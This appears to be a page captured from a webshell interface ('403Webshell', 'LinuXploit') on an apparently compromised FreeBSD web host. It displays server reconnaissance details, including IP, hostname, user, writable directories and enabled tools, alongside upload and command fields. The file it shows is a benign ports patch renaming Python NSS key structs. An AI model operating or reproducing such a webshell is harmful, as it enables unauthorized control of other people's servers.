403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/security/py-python-nss/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/security/py-python-nss/files/patch-src_py__nss.h
Rename structs to avoid conflict with C API after NSS 3.58 changes to pk11pub.h
https://hg.mozilla.org/projects/nss/rev/6e3bc17f0508

In file included from src/py_nss.c:341:
src/py_nss.h:126:3: error: typedef redefinition with different types ('struct RSAPublicKey' vs 'struct RSAPublicKeyStr')
} RSAPublicKey;
  ^
/usr/local/include/nss/blapit.h:281:32: note: previous definition is here
typedef struct RSAPublicKeyStr RSAPublicKey;
                               ^
In file included from src/py_nss.c:341:
src/py_nss.h:136:3: error: typedef redefinition with different types ('struct DSAPublicKey' vs 'struct DSAPublicKeyStr')
} DSAPublicKey;
  ^
/usr/local/include/nss/blapit.h:323:32: note: previous definition is here
typedef struct DSAPublicKeyStr DSAPublicKey;
                               ^

--- src/py_nss.h.orig	2016-02-16 16:40:14 UTC
+++ src/py_nss.h
@@ -119,6 +119,7 @@ typedef struct {
 /* ============================ RSAPublicKey Class ========================== */
 /* ========================================================================== */
 
+#define RSAPublicKey PyRSAPublicKey
 typedef struct {
     PyObject_HEAD
     PyObject *py_modulus;
@@ -129,6 +130,7 @@ typedef struct {
 /* ============================ DSAPublicKey Class ========================== */
 /* ========================================================================== */
 
+#define DSAPublicKey PyDSAPublicKey
 typedef struct {
     PyObject_HEAD
     PyObject *py_pqg_params;

Youez - 2016 - github.com/yon3zu
LinuXploit